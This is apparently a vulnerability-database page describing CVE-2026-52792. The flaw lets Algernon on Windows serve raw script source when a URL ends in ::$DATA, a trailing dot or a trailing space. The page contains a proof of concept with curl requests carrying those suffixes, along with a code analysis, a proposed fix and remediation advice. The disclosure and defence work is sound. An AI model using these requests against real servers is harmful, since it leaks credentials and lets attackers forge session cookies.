Skip to main content

Algernon CVE-2026-52792

HIGH
Improper Handling of Windows ::DATA Alternate Data Stream (CWE-69)
2026-07-02 https://github.com/xyproto/algernon GHSA-mm6c-5j6x-hq8m
Share

Severity by source

vuln.today AI
7.5 HIGH

Unauthenticated remote request with no interaction trivially discloses script source (C:H); no direct integrity/availability impact, so I:N/A:N; Windows/NTFS-only is treated as product scope, not AC.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Estimated by vuln.today — no official severity rating has been published for this CVE yet.

Lifecycle Timeline

1
Analysis Generated
Jul 02, 2026 - 21:21 vuln.today

DescriptionCVE.org

Summary

Algernon selects its file handler from filepath.Ext() (engine/handlers.go:134), which does not treat the NTFS-equivalent names x.lua::$DATA, x.lua., or x.lua as .lua. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the SetCookieSecret value.

Linux and macOS hosts are unaffected.

Preconditions

  • Algernon runs on a Windows host (NTFS filesystem).
  • The instance serves at least one server-side script (.lua, .tl, .po2, .amber, .frm).
  • The script sits on a public path, or no auth backend is configured (--nodb, --simple, or default no-DB).
  • HTTP/HTTPS reachability to the server.

Details

go
// engine/handlers.go:133
lowercaseFilename := strings.ToLower(filename)
ext := filepath.Ext(lowercaseFilename) // "index.lua::$data" -> ".lua::$data", not ".lua"  [offending]
...
if ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false
    return
}
switch ext {
case ".lua", ".tl": // execute the script -- never reached for the equivalent forms
    // ... RunLua ...
default:
    // control reaches the raw-file branch below
}
go
// engine/handlers.go:452
f, err := os.Open(filename) // NTFS resolves "index.lua::$DATA" to index.lua's data stream
...
// engine/handlers.go:479
if dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {
    dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client
}

The request path reaches FilePage through URL2filename (utils/files.go:24), which rejects only ..; a :, a trailing ., and a trailing space all pass through into filename. filepath.Ext does an exact suffix match, so .lua::$data, ., and .lua are not equal to .lua or .tl. The renderer registry and the execute case are both skipped and control falls to the default branch.

The default branch opens filename with os.Open and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix ::$DATA, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.

Proof of concept

Setup

  1. Build Algernon from source on a Windows host:
powershell
   git clone https://github.com/xyproto/algernon
   cd algernon
   git checkout v1.17.8
   go build -o algernon.exe .
  1. Create a web root with a script that embeds secrets, exactly as a real handler would:
powershell
   New-Item -ItemType Directory webroot | Out-Null
   Set-Content webroot\index.lua @'
   -- db = POSTGRES("postgres://app:S3cr3t@db/prod")
   SetCookieSecret("hardcoded-session-key")
   print("<h1>hello</h1>")
   '@
  1. Serve the directory over plain HTTP with no auth backend (run in its own window):
powershell
   .\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\webroot

Exploit

  1. Request the script normally. It executes, and the source is not disclosed:
powershell
   curl.exe -s http://127.0.0.1:8088/index.lua

Expected: <h1>hello</h1>. The DSN and cookie secret are absent from the response.

  1. Request the same script through its NTFS ::$DATA stream. Algernon returns the raw source:
powershell
   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'

Expected: HTTP 200, Content-Type: application/octet-stream, body is the verbatim Lua source including SetCookieSecret("hardcoded-session-key") and the Postgres DSN.

  1. The trailing-dot and trailing-space forms leak the same source:
powershell
   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.'
   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20'

Expected: identical raw-source response for both.

Impact

  • Confidentiality: Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and SetCookieSecret(...) values.
  • Authentication: A disclosed SetCookieSecret value lets an unauthenticated attacker forge session cookies and log in as any user.

Suggestions to fix

> _This has not been tested - it is illustrative only._

Reject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch.

diff
 func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) {
+	// Reject Windows filename-equivalent forms that alias a different file
+	// than filepath.Ext sees (e.g. "x.lua::$DATA", "x.lua.", "x.lua ").
+	if base := filepath.Base(filename); strings.ContainsRune(base, ':') ||
+		strings.HasSuffix(base, ".") || strings.HasSuffix(base, " ") {
+		http.NotFound(w, req)
+		return
+	}
 	if ac.quitAfterFirstRequest {
 		go ac.quitSoon("Quit after first request", defaultSoonDuration)
 	}

AnalysisAI

Source-code disclosure in the Algernon web/application server (Go, xyproto/algernon, tested at v1.17.8) lets an unauthenticated remote client retrieve the raw source of any public-path server-side script on Windows hosts by appending an NTFS-equivalent suffix (::$DATA, a trailing dot, or a trailing space) to the URL. Because filepath.Ext() does an exact suffix match, these forms are not recognized as .lua/.tl/.po2/.amber/.frm and fall through to the raw-file branch, while NTFS canonicalizes the name back to the real script, exposing embedded database credentials and the SetCookieSecret value used to forge session cookies. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Identify internet-facing Algernon on Windows
Delivery
Locate a public server-side script (e.g. /index.lua)
Exploit
Append NTFS-equivalent suffix (::$DATA / trailing dot / space)
Execution
Receive raw script source (HTTP 200)
Persist
Extract SetCookieSecret and DB credentials
Impact
Forge session cookie, authenticate as any user

Vulnerability AssessmentAI

Exploitation Requires the target to run Algernon on a Windows host with an NTFS filesystem - this is the primary limiter; Linux and macOS deployments are not exploitable at all. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment No CVSS score or vector was provided in the input, so severity is assessed independently rather than copied. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker discovers an internet-facing Algernon instance running on Windows that serves a Lua handler at /index.lua. They request 'http://target:8088/index.lua::$DATA' with curl --path-as-is and receive HTTP 200 with the verbatim Lua source, including a hardcoded Postgres DSN and SetCookieSecret('...'). …
Remediation No vendor-released patched version was identified in the provided data; the advisory (GHSA-mm6c-5j6x-hq8m, https://github.com/xyproto/algernon/security/advisories/GHSA-mm6c-5j6x-hq8m) includes only an illustrative, untested fix that rejects request paths whose final segment contains ':' or ends in '.' or ' ' before extension dispatch - track that advisory and upgrade to the first release that incorporates the canonicalization/rejection check. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

24 hours: Inventory all Windows systems running Algernon; immediately rotate database passwords, SetCookieSecret values, and API keys embedded in public-path scripts. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2025-1094 HIGH POC
8.1 Feb 13

PostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl

CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2013-1899 MEDIUM POC
6.5 Apr 04

Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re

CVE-2026-20253 CRITICAL POC
9.8 Jun 10

Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.

CVE-2017-7546 CRITICAL
9.8 Aug 16

PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow

CVE-2015-1352 MEDIUM POC
5.0 Mar 30

The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t

CVE-2024-10553 CRITICAL POC
9.8 Mar 20

A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra

CVE-2019-9193 HIGH POC
7.2 Apr 01

In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve

CVE-2026-40887 CRITICAL POC
9.1 Apr 14

## Summary An unauthenticated SQL injection vulnerability exists in the Vendure Shop API. A user-controlled query strin

CVE-2022-24760 CRITICAL POC
10.0 Mar 12

Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot

CVE-2025-56157 CRITICAL POC
9.8 Dec 18

Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al

CVE-2024-12909 CRITICAL POC
9.8 Mar 20

A vulnerability in the FinanceChatLlamaPack of the run-llama/llama_index repository, versions up to v0.12.3, allows for

Share

CVE-2026-52792 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy